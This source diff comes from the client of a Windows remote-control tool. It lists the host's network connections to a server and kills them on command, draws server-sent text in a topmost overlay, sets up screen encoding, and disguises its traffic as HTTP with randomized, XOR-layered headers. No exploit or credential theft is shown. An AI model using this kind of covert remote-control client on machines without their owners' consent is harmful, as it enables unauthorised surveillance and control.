for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
{
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
VOID CConnectionsManager::SendConnectionList()
{
std::vector<ConnectionInfo> rows;
AppendTcp4(rows);
AppendTcp6(rows);
AppendUdp4(rows);
AppendUdp6(rows);
size_t count = rows.size();
if (count > 0xFFFF) count = 0xFFFF;
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
if (szBuffer == NULL) return;
szBuffer[0] = TOKEN_CONNECTION_LIST;
uint16_t cnt = (uint16_t)count;
memcpy(szBuffer + 1, &cnt, 2);
for (size_t i = 0; i < count; ++i)
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
LocalFree(szBuffer);
}
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
{
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
if (info.proto != 1 || info.af != AF_INET) return;
MIB_TCPROW row = { 0 };
row.dwState = MIB_TCP_STATE_DELETE_TCB;
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
row.dwRemotePort = (DWORD)htons(info.remotePort);
SetTcpEntry(&row);
}
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_CONNECTION: // 刷新
SendConnectionList();
break;
case COMMAND_KILL_CONNECTION: // 强制断开
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
ConnectionInfo info;
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
KillConnection(info);
}
SendConnectionList();
break;
default:
break;
}
}
#endif
+29
View File
@@ -0,0 +1,29 @@
// ConnectionsManager.h: interface for the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager
{
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
+290
View File
@@ -0,0 +1,290 @@
#include "DrawingBoardMgr.h"
#include <tchar.h>
#define MSG_CLEAR 999
namespace SimplePluginsDrawingBoard {
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
{
m_fAlpha = 150;
m_bIsWorking = TRUE;
m_bTopMost = TRUE;
m_hWnd = NULL;
m_textColor = RGB(255,0,0);
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
BYTE bToken = TOKEN_DRAWING_BOARD;
m_ClientObject->Send2Server((char*)&bToken, 1);
}
DrawingBoardMgr::~DrawingBoardMgr()
{
m_bIsWorking = FALSE;
while (m_hWnd)
Sleep(200);
DeleteObject(m_DrawPen);
DeleteObject(m_Font);
}
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
{
Mprintf("Start DrawingThreadProc\n");
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
pThis->RunWindowThread();
pThis->m_bIsWorking = FALSE;
Mprintf("Stop DrawingThreadProc\n");
return 0;
}
void DrawingBoardMgr::RunWindowThread()
{
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
static bool s_classRegistered = false;
if (!s_classRegistered) {
WNDCLASSEX wc = {};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = CLASS_NAME;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.hIcon = NULL; // 标题栏图标
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
if (!RegisterClassEx(&wc)) {
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
}
s_classRegistered = true;
}
DWORD dwStyle = WS_POPUP | WS_BORDER;
m_hWnd = CreateWindowEx(
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
NULL, NULL, GetModuleHandle(NULL), this
);
if (m_hWnd == NULL) return;
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
style |= WS_BORDER; // 增加窄边框
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
SetWindowLong(m_hWnd, GWL_STYLE, style);
// 去掉系统菜单
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
BringWindowToTop(m_hWnd);
// 透明度
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
ShowWindow(m_hWnd, SW_SHOW);
UpdateWindow(m_hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(1);
}
if (m_hWnd)
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
m_hWnd = NULL; // 线程退出后,窗口已销毁
}
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
DrawingBoardMgr* pThis = nullptr;
if (msg == WM_NCCREATE) {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
}
else {
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
}
if (pThis) {
switch (msg) {
case WM_GETICON:
return NULL;
case WM_WINDOWPOSCHANGED:
{
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
// 如果窗口层级被改变,重新设置为顶层
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
}
break;
}
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
pThis->m_locker.lock();
auto paths = pThis->m_Paths;
auto currentPath = pThis->m_CurrentPath;
auto texts = pThis->m_Texts;
pThis->m_locker.unlock();
// 画所有历史路径
for (const auto& path : paths)
{
if (path.size() >= 2)
Polyline(hdc, path.data(), (int)path.size());
}
// 画当前路径
if (currentPath.size() >= 2)
{
Polyline(hdc, currentPath.data(), (int)currentPath.size());
}
// 绘制文字
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
for (const auto& entry : texts)
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
SelectObject(hdc, hOldPen);
SelectObject(hdc, hOldFont);
EndPaint(hWnd, &ps);
return 0;
}
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case MSG_CLEAR:
pThis->m_locker.lock();
pThis->m_Paths.clear();
pThis->m_CurrentPath.clear();
pThis->m_Texts.clear();
pThis->m_locker.unlock();
InvalidateRect(hWnd, NULL, TRUE);
break;
}
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < 1) return;
BYTE cmd = szBuffer[0];
switch (cmd)
{
case CMD_DRAW_POINT:
if (ulLength == sizeof(POINT) + 1)
{
POINT pt = *(POINT*)(szBuffer + 1);
m_locker.lock();
m_CurrentPath.push_back(pt);
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
break;
case CMD_DRAW_END:
m_locker.lock();
if (!m_CurrentPath.empty())
{
m_Paths.push_back(m_CurrentPath);
m_CurrentPath.clear();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
m_locker.unlock();
break;
case CMD_TRANSPORT:
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
break;
case CMD_TOPMOST:
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
break;
case CMD_MOVEWINDOW:
if (ulLength == sizeof(RECT) + 1)
{
RECT rect = *(RECT*)(szBuffer + 1);
if (m_hWnd && IsWindow(m_hWnd))
{
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
rect.right-rect.left, rect.bottom-rect.top,
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
break;
case CMD_SET_SIZE: {
if (ulLength == sizeof(int) * 2 + 1) {
int x[2];
memcpy(x, szBuffer + 1, sizeof(int) * 2);
if (IsWindow(m_hWnd)) {
::SetWindowPos(m_hWnd, NULL, 0, 0,
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
}
}
break;
}
case CMD_DRAW_CLEAR: {
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
break;
}
case CMD_DRAW_TEXT: {
ParseRemoteText(szBuffer + 1, ulLength - 1);
break;
}
default:
break;
}
}
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
{
if (length < sizeof(POINT)) return;
// 提取位置
POINT pt = *(POINT*)data;
PBYTE textData = data + sizeof(POINT);
int textLen = (int)(length - sizeof(POINT));
// UTF-8 → WCHAR
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
if (wideLen <= 0) return;
std::wstring wstr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
#ifdef _UNICODE
CString cstr(wstr.c_str());
#else
// 若项目使用多字节字符集
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string cstr;
if (ansiLen > 0)
{
std::string ansi(ansiLen - 1, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
cstr = ansi.c_str();
}
#endif
// 存入本地图形对象并刷新绘图区域
m_locker.lock();
m_Texts.push_back(std::make_pair(pt, cstr));
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
} // namespace SimplePluginsDrawingBoard
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include "Manager.h"
#include <vector>
#include <string>
#include "common/locker.h"
namespace SimplePluginsDrawingBoard {
class DrawingBoardMgr : public CManager
{
public:
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
~DrawingBoardMgr();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ParseRemoteText(PBYTE data, ULONG length);
private:
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
BOOL m_bTopMost; // 顶层
BOOL m_bIsWorking; // 线程状态
HWND m_hWnd; // 窗口
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
std::vector<std::pair<POINT, std::string>> m_Texts;
HFONT m_Font;
COLORREF m_textColor;
HPEN m_DrawPen;
CLocker m_locker;
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
void RunWindowThread();
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
};
} // namespace SimplePluginsDrawingBoard
+71
View File
@@ -0,0 +1,71 @@
#include "EncoderFactory.h"
#include "common/config.h"
#include "common/logger.h"
#include "X264Encoder.h"
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时硬编实现整体移出工程,仅保留 x264 软编路径
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
#include "CFFmpegH264Encoder.h"
#include "CFFmpegAV1Encoder.h"
#endif
namespace {
// 与 ScreenCapture::BitRateToCRF 同步:码率越高 CRF 越低(质量更好)。
// 仅 x264 软编路径用,硬编路径直接用 bitrate_kbps 走 CBR。
int BitRateToCRF(int bitRate) {
if (bitRate <= 0) return 23;
if (bitRate >= 3000) return 20;
if (bitRate >= 2000) return 20 + (3000 - bitRate) * 3 / 1000;
if (bitRate >= 800) return 23 + (2000 - bitRate) * 7 / 1200;
return 32;
}
}
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
EncoderParams p;
p.width = req.width;
p.height = req.height;
p.fps = req.fps;
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
// AV1 硬编路径(仅当客户端声明支持 AV1 解码)
// 硬件门槛高:仅 RTX 40+ / RX 7000+ / Intel Arc 才有 av1 encoder ASIC;
// 没合适硬件时 open() 全部失败,自然 fall through 到下面 H.264 路径。
if (req.encodeLevel >= LEVEL_AV1_HARD) {
auto enc = std::make_unique<CFFmpegAV1Encoder>();
p.rc = RateControl::BITRATE;
p.bitrate_kbps = req.bitrate_kbps;
if (enc->open(p)) {
Mprintf("=> encoder: %s (HW AV1, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
return enc;
}
Mprintf("=> all AV1 HW backends failed, falling back to H.264\n");
}
// H.264 硬编:CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 顺序探
if (req.encodeLevel >= LEVEL_H264_HARD) {
auto enc = std::make_unique<CFFmpegH264Encoder>();
p.rc = RateControl::BITRATE;
p.bitrate_kbps = req.bitrate_kbps;
if (enc->open(p)) {
Mprintf("=> encoder: %s (HW, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
return enc;
}
Mprintf("=> all H.264 HW backends failed, falling back to x264\n");
}
#endif
// x264 软编兜底(无硬件 / 全失败 / 虚拟机 / 远程桌面会话场景)
if (req.encodeLevel >= LEVEL_H264_SOFT) {
auto enc = std::make_unique<CX264Encoder>();
p.rc = RateControl::CRF;
p.crf = BitRateToCRF(req.bitrate_kbps);
if (enc->open(p)) {
Mprintf("=> encoder: %s (SW, crf=%d)\n", enc->backendName(), p.crf);
return enc;
}
}
Mprintf("=> ERROR: no encoder could be opened\n");
return nullptr;
}
+25
View File
@@ -0,0 +1,25 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/commands.h"
#include <memory>
// 创建编码器的请求参数。
struct EncoderRequest {
int width = 0;
int height = 0;
int fps = 30;
int bitrate_kbps = 4000;
int encodeLevel = LEVEL_H264_SOFT;
};
// 按客户端能力 + 本机硬件能力创建一个 VideoEncoderBase。
//
// 探测顺序(第一个 open 成功的就用):
// AV1 硬编路径
// H.264 硬编(CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 探)
// x264 软编(CX264Encoder,CPU 兜底)
//
// 失败路径在日志中可见(Mprintf)。返回 nullptr 仅在 x264 也开不起来时(极少见)。
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);
+9 -2
View File
@@ -10,6 +10,8 @@
#include "IOCPClient.h" #include "IOCPClient.h"
#include "KernelManager.h" #include "KernelManager.h"
#if ENABLE_FILE_MNG
typedef struct { typedef struct {
DWORD dwSizeHigh; DWORD dwSizeHigh;
DWORD dwSizeLow; DWORD dwSizeLow;
@@ -34,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
// 初始化V2文件传输模块 // 初始化V2文件传输模块
CKernelManager* main = (CKernelManager*)pClient->GetMain(); CKernelManager* main = (CKernelManager*)pClient->GetMain();
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature; m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
if (!m_Signature.empty()) if (!m_Signature.empty()) {
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg, InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf); main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
}
// 发送驱动器列表, 开始进行文件管理,建立新线程 // 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList(); SendDriveList();
@@ -1186,3 +1192,4 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
Mprintf("[V2] 连接服务器失败\n"); Mprintf("[V2] 连接服务器失败\n");
} }
} }
#endif
+7
View File
@@ -1,10 +1,16 @@
// FileManager.h: interface for the CFileManager class. // FileManager.h: interface for the CFileManager class.
// //
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
#include "Manager.h"
#include "IOCPClient.h" #include "IOCPClient.h"
#include "common.h" #include "common.h"
typedef IOCPClient CClientSocket; typedef IOCPClient CClientSocket;
#if ENABLE_FILE_MNG==0
#define CFileManager CManager
#else
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_) #if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_ #define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
#include <winsock2.h> #include <winsock2.h>
@@ -62,5 +68,6 @@ private:
HANDLE m_hSearchThread; HANDLE m_hSearchThread;
volatile bool m_bSearching; volatile bool m_bSearching;
}; };
#endif
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_) #endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
+66 -9
View File
@@ -30,10 +30,12 @@ inline int WSAGetLastError()
#define Z_SUCCESS(p) (!Z_FAILED(p)) #define Z_SUCCESS(p) (!Z_FAILED(p))
#else #else
#include "common/zstd_wrapper.h" #include "common/zstd_wrapper.h"
#ifdef _WIN64 #ifdef _WIN32
#pragma comment(lib, "zstd/zstd_x64.lib") # ifdef _WIN64
#else # pragma comment(lib, "zstd/zstd_x64.lib")
#pragma comment(lib, "zstd/zstd.lib") # else
# pragma comment(lib, "zstd/zstd.lib")
# endif
#endif #endif
#define Z_FAILED(p) ZSTD_isError(p) #define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p)) #define Z_SUCCESS(p) (!Z_FAILED(p))
@@ -184,8 +186,7 @@ bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
{ {
std::lock_guard<std::mutex> lk(m_authMtx); std::lock_guard<std::mutex> lk(m_authMtx);
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生) if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
const ConnAuthAck* ack = (const ConnAuthAck*)buf; m_authStatus = (int)buf[1]; // ConnAuthAck::status at byte offset 1; avoids misaligned uint64_t cast
m_authStatus = ack->status;
m_authPending = false; m_authPending = false;
} }
m_authCv.notify_all(); m_authCv.notify_all();
@@ -218,8 +219,19 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
m_ServerAddr = {}; m_ServerAddr = {};
m_nHostPort = 0; m_nHostPort = 0;
m_Manager = NULL; m_Manager = NULL;
// 防御性初始化:避免 Debug build 里 0xcdcdcdcd 堆 fill 让 Receive 线程
// 在调用方 setManagerCallBack() 之前就读到野指针。子连接(屏幕/键盘等)
// 走 LoopManager 模式时,new IOCPClient → ConnectServer 启动 Receive
// worker 与 Manager 构造(内含 setManagerCallBack)之间有 race window;
// 这里清零让 Receive 路径有机会 NULL-check 而不是炸在野指针上。
m_DataProcess = NULL;
m_ReconnectFunc = NULL;
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask(); m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
#ifdef _DEBUG
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
#else
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum)); auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
#endif
m_EncoderType = encoder; m_EncoderType = encoder;
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder(); m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
#ifdef _WIN32 #ifdef _WIN32
@@ -455,6 +467,25 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
SetKeepAliveOptions(m_sClientSocket); SetKeepAliveOptions(m_sClientSocket);
#endif #endif
} }
#ifdef _WIN32
// 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开,
// 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝
// 连接。握手须在 m_bConnected 置位前,确保工作线程不会在握手尚未完成时就开始 recv。
if (TlsLoadError()) {
Mprintf("[TLS] 证书加载失败,拒绝连接(fail-closed)\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
if (TlsEnabled()) {
if (!m_tls.Handshake(m_sClientSocket)) {
Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
}
#endif
m_bConnected = TRUE; m_bConnected = TRUE;
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port); Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
@@ -470,6 +501,13 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
if (ret == 0) { if (ret == 0) {
m_bWorkThread = S_RUN; m_bWorkThread = S_RUN;
m_bIsRunning = TRUE; m_bIsRunning = TRUE;
// Store pthread_t so subsequent ConnectServer calls (reconnects) find
// m_hWorkThread != NULL and reuse this thread instead of spawning a new
// one. Multiple concurrent threads racing on the same socket would tear
// the TCP stream and prevent any complete command from being delivered.
// SAFE_CLOSE_HANDLE and CloseHandle are no-ops on Android, so the value
// is never dereferenced as a kernel handle.
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
} }
#endif #endif
} }
@@ -511,6 +549,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
Sleep(50); Sleep(50);
continue; continue;
} }
#ifdef _WIN32
// TLS 会话里可能有已解密、尚未交付的明文(select 只看底层 socket,看不到
// Schannel 内部缓冲),优先消费,避免被 select 卡住。
if (This->HasPendingData()) {
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
break;
}
continue;
}
#endif
FD_ZERO(&fd); FD_ZERO(&fd);
FD_SET(This->m_sClientSocket, &fd); FD_SET(This->m_sClientSocket, &fd);
// Linux select() 会修改 timeval,必须每次重置 // Linux select() 会修改 timeval,必须每次重置
@@ -612,12 +660,13 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
FlagType flagType = CheckHead(szPacketFlag, encType); FlagType flagType = CheckHead(szPacketFlag, encType);
if (flagType == FLAG_UNKNOWN) { if (flagType == FLAG_UNKNOWN) {
// 打印诊断信息 // 打印诊断信息
std::string buf;
ULONG bufLen = m_CompressedBuffer->GetBufferLength(); ULONG bufLen = m_CompressedBuffer->GetBufferLength();
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: ", bufLen);
for (int i = 0; i < 16 && i < (int)bufLen; ++i) { for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
Mprintf("%02X ", (unsigned char)src[i]); char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
} }
Mprintf("\n"); Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (TlsEnabled=%d tlsReady=%d)\n",
this, bufLen, buf.c_str(), (int)TlsEnabled(), (int)m_tls.IsReady());
m_CompressedBuffer->ClearBuffer(); m_CompressedBuffer->ClearBuffer();
break; break;
} }
@@ -670,11 +719,19 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) { if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态 //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样 //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
// 防御 race window:子连接 ConnectServer 触发 Receive 后,
// 调用方 setManagerCallBack() 可能还没执行;丢弃这种早期包
// 比让函数指针炸进 0xcdcdcd 强(pre-existing race,详见
// 构造函数注释,长期需要在 ConnectServer 前 set callback)
if (m_DataProcess == NULL) {
Mprintf("[WARN] dropping early packet: setManagerCallBack not yet called\n");
} else {
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength); int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) { if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret); Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
} }
} }
}
} else { } else {
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength); Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
// ReadBuffer 已消费当前包,不需要清空缓冲区 // ReadBuffer 已消费当前包,不需要清空缓冲区
+25 -1
View File
@@ -8,6 +8,7 @@
#include "stdafx.h" #include "stdafx.h"
#include <WinSock2.h> #include <WinSock2.h>
#include <MSTcpIP.h> #include <MSTcpIP.h>
#include "TlsChannel.h"
#pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ws2_32.lib")
#endif #endif
@@ -289,14 +290,33 @@ public:
protected: protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags) virtual int ReceiveData(char* buffer, int bufSize, int flags)
{ {
#ifdef _WIN32
if (TlsEnabled())
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
#endif
// TCP版本调用 recv // TCP版本调用 recv
return recv(m_sClientSocket, buffer, bufSize - 1, 0); int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
return n;
} }
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag); virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual int SendTo(const char* buf, int len, int flags) virtual int SendTo(const char* buf, int len, int flags)
{ {
#ifdef _WIN32
if (TlsEnabled())
return m_tls.Send(m_sClientSocket, buf, len);
#endif
